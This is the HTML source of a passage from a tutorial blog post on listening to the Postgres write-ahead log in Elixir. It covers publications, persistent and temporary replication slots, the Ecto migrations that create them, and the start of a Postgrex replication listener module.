&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Set PG settings&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;|&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;docker&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt; $&amp;lbrace;&amp;lbrace; job.services.postgres.id &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;sh&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-c&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;echo &quot;wal_level=logical&quot; &gt;&gt; /var/lib/postgresql/data/postgresql.conf&amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;docker&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;restart&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt; $&amp;lbrace;&amp;lbrace; job.services.pg.id &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Code snippets come from the &lt;a href=&quot;https://hexdocs.pm/postgrex/Postgrex.ReplicationConnection.html&quot;&gt;Postgrex.ReplicationConnection&lt;/a&gt; documentation&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#interlude&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;interlude&quot;&gt;&lt;/a&gt;Interlude&lt;/h2&gt;
&lt;p&gt;Before we continue, I need to tell you about &lt;code&gt;publications&lt;/code&gt; and &lt;code&gt;replication slots&lt;/code&gt; and about the difference between &lt;code&gt;temporary&lt;/code&gt; and &lt;code&gt;persistent&lt;/code&gt; replication slots.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#publications&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;publications&quot;&gt;&lt;/a&gt;Publications&lt;/h3&gt;
&lt;p&gt;First, a &lt;a href=&quot;https://www.postgresql.org/docs/18/logical-replication-publication.html&quot;&gt;Publication&lt;/a&gt; is a way to tell Postgres which tables and operations (inserts, updates, deletes) you want to track. Think of it as an event &quot;topic&quot; which will only broadcast events for the tables and operations you have specified. Here&apos;s an example:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;CREATE&lt;/span&gt; PUBLICATION active_user_publication
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;FOR&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;users&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;-- Filters are available only from Postgres 15+&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    WHERE &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;active &lt;span style=&quot;color: #e6edf3;&quot;&gt;IS&lt;/span&gt; TRUE&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;WITH&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;publish &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;insert,delete&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The publication above will publish only the &lt;code&gt;INSERT&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;, &lt;code&gt;BEGIN&lt;/code&gt;, and &lt;code&gt;COMMIT&lt;/code&gt; events for the &lt;code&gt;active&lt;/code&gt; users in the &lt;code&gt;users&lt;/code&gt; table.&lt;/p&gt;
&lt;p&gt;Here&apos;s another example:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;CREATE&lt;/span&gt; PUBLICATION everything_publication &lt;span style=&quot;color: #ff7b72;&quot;&gt;FOR&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;ALL&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;TABLES&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This publication will publish &lt;strong&gt;all&lt;/strong&gt; events (&lt;code&gt;BEGIN&lt;/code&gt;, &lt;code&gt;INSERT&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;, and &lt;code&gt;COMMIT&lt;/code&gt;) for &lt;strong&gt;all&lt;/strong&gt; rows and tables. It might be a lot, so when you add your listener, rather restrict the publication to only what you need. You can always change a publication later with a &lt;code&gt;ALTER PUBLICATION&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;Alright, now you know about publications and how to create them. Next, let&apos;s dive into &lt;code&gt;replication slots&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#replication-slots&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;replication-slots&quot;&gt;&lt;/a&gt;Replication Slots&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://www.postgresql.org/docs/18/warm-standby.html#STREAMING-REPLICATION-SLOTS&quot;&gt;Replication Slot&lt;/a&gt; is a separate copy of the WAL just for our use-case, which is a WAL listener. It tracks how far the listener has read through the WAL and removes WAL records only once the listener has acknowledged them. By using a separate copy of the WAL, we can keep records that the listener hasn&apos;t processed yet, even if they&apos;ve been deleted from the original WAL. It also lets us resend records if the listener crashes.&lt;/p&gt;
&lt;p&gt;Now, if you had a peek at Filipe&apos;s or Supabase&apos;s implementation above, you might have spotted that they use a &lt;code&gt;temporary&lt;/code&gt; replication slot. The reason for this is that replication slots can create serious problems for the database if we don&apos;t consume them. They will keep on growing until they fill up all disk space allocated to the WAL because Postgres deletes their WAL records only after we consume them.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;temporary&lt;/code&gt; replication slot avoids this issue because Postgres deletes it whenever we lose connection to the database. So, if our listener crashes or we remove the listener from our application, Postgres will automatically clean up the replication slot for us which is great from a not-taking-down-the-database perspective.&lt;/p&gt;
&lt;p&gt;The downside of using a temporary replication slot is that we have to keep the listener online at all times if we want to listen to all database changes. You might see the problem with this already. If the listener is offline, it will miss change events which is not great from a not-missing-any-events perspective.&lt;/p&gt;
&lt;p&gt;If never missing a database change is important to you, a &lt;code&gt;persistent&lt;/code&gt; replication slot might be the better choice. Postgres will always write WAL records to it, even if your listener is offline. When it comes back online, the replication slot will send the WAL records it has missed. If the listener crashes before it can acknowledge the records, the replication slot will resend them when the listener restarts.&lt;/p&gt;
&lt;p&gt;Be warned though that &lt;code&gt;persistent&lt;/code&gt; replication slots allow only one connection, so you can have only one listener at a time. Also, every implementation I&apos;ve seen in my research for this post has warned against using a &lt;code&gt;persistent&lt;/code&gt; slot, but other than filling up the disk, I have yet to understand what other downsides it brings.&lt;/p&gt;
&lt;p&gt;Alright, now with these pros and cons in mind, let&apos;s continue. I will show you how to create a &lt;code&gt;persistent&lt;/code&gt; replication slot. If you want a &lt;code&gt;temporary&lt;/code&gt; one, have a look at Supabase&apos;s implementation above.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-migrations&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-migrations&quot;&gt;&lt;/a&gt;The Migrations&lt;/h2&gt;
&lt;p&gt;We need two migrations, one to create the publication and one to create the replication slot. We can&apos;t use a single migration for both because we must create the replication slot in its own transaction and Ecto wraps a migration into a single transaction. So, two migrations it is.&lt;/p&gt;
&lt;p&gt;First, create the publication migration with:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ecto.gen.migration&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;create_wal_publication&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In there, create your publication:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Repo.Migrations.CreateWalPublication&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migration&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;change&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Adding this extension is optional but helps with&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# debugging WAL messages inside Postgres.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;#&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# It&amp;#39;s not needed to listen to the WAL but we&amp;#39;ll use&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# it for debugging purposes. It is available from&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Postgres 15 onwards. If you&amp;#39;re on an older version&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# of Postgres: Why?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;            CREATE EXTENSION IF NOT EXISTS pg_walinspect;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;            &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;            &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;            DROP EXTENSION IF EXISTS pg_walinspect;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;            &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Define your publication below:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;            CREATE PUBLICATION wal_listener_publication FOR ALL TABLES;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;            &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;            &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;            DROP PUBLICATION IF EXISTS wal_listener_publication;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;            &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright, now let&apos;s create the persistent replication slot with:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ecto.gen.migration&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;create_wal_replication_slot&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And add the following to the new file:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Repo.Migrations.CreateWalReplicationSlot&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migration&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;change&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;            SELECT pg_create_logical_replication_slot(&amp;#39;wal_listener&amp;#39;, &amp;#39;pgoutput&amp;#39;, false);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;            &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;            &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;            SELECT pg_drop_replication_slot(&amp;#39;wal_listener&amp;#39;);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;            &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s take a look at the arguments of the &lt;code&gt;pg_create_logical_replication_slot/3&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;The first argument (&lt;code&gt;wal_listener&lt;/code&gt;) is the name of your replication slot. Next, the argument (&lt;code&gt;pgoutput&lt;/code&gt;) defines the &lt;a href=&quot;https://www.postgresql.org/docs/18/functions-admin.html&quot;&gt;output plugin&lt;/a&gt; the replication slot should use to convert the raw WAL record to a readable output format. &lt;code&gt;pgoutput&lt;/code&gt; is the default and comes with Postgres but we could also use other plugins like &lt;a href=&quot;https://github.com/eulerto/wal2json&quot;&gt;wal2json&lt;/a&gt;. The third argument &lt;code&gt;false&lt;/code&gt; means that this replication slot is &lt;strong&gt;not&lt;/strong&gt; temporary.&lt;/p&gt;
&lt;p&gt;Alright. Now, if you execute these two migrations with &lt;code&gt;mix ecto.migrate&lt;/code&gt;, you should see the following records in your database:&lt;/p&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;FROM&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pg_publication&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;oid   pubname                  pubowner puballtables pubinsert pubupdate pubdelete pubtruncate pubviaroot pubgencols
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;16409 wal_listener_publication 10       &lt;span style=&quot;color: #79c0ff;&quot;&gt;TRUE&lt;/span&gt;         &lt;span style=&quot;color: #79c0ff;&quot;&gt;TRUE&lt;/span&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;TRUE&lt;/span&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;TRUE&lt;/span&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;TRUE&lt;/span&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;FALSE&lt;/span&gt;      n
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;FROM&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pg_replication_slots&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;slot_name    plugin   slot_type datoid &lt;span style=&quot;color: #ff7b72;&quot;&gt;database&lt;/span&gt; temporary active active_pid xmin catalog_xmin restart_lsn confirmed_flush_lsn wal_status safe_wal_size two_phase two_phase_at inactive_since               conflicting invalidation_reason failover synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;wal_listener pgoutput logical   26370  wal_dev  &lt;span style=&quot;color: #79c0ff;&quot;&gt;FALSE&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;FALSE&lt;/span&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;NULL&lt;/span&gt;       &lt;span style=&quot;color: #ff7b72;&quot;&gt;NULL&lt;/span&gt; 142253       4&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;4FC8CB80  4&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;4FC8CBB9          reserved   &lt;span style=&quot;color: #ff7b72;&quot;&gt;NULL&lt;/span&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;FALSE&lt;/span&gt;     &lt;span style=&quot;color: #ff7b72;&quot;&gt;NULL&lt;/span&gt;         2025&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;10&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;27 14:30:54&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;98639&lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt;00 &lt;span style=&quot;color: #79c0ff;&quot;&gt;FALSE&lt;/span&gt;       &lt;span style=&quot;color: #ff7b72;&quot;&gt;NULL&lt;/span&gt;                &lt;span style=&quot;color: #79c0ff;&quot;&gt;FALSE&lt;/span&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;FALSE&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you see an output similar to the one above, your migrations successfully created the publication and replication slot we need to listen to the WAL. So, let&apos;s do that next.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-listener&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-listener&quot;&gt;&lt;/a&gt;The Listener&lt;/h2&gt;
&lt;p&gt;As with so many things in the BEAM ecosystem, we can build our WAL listener on top of the shoulder of giants, in this case the &lt;a href=&quot;https://hexdocs.pm/postgrex/Postgrex.ReplicationConnection.html&quot;&gt;Postgrex.ReplicationConnection&lt;/a&gt; which handles the low-level communication with Postgres for us. Here is the first part of our Listener module:&lt;/p&gt;
&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Replication&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.ReplicationConnection&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Automatically reconnect if we lose connection.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;extra_opts&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
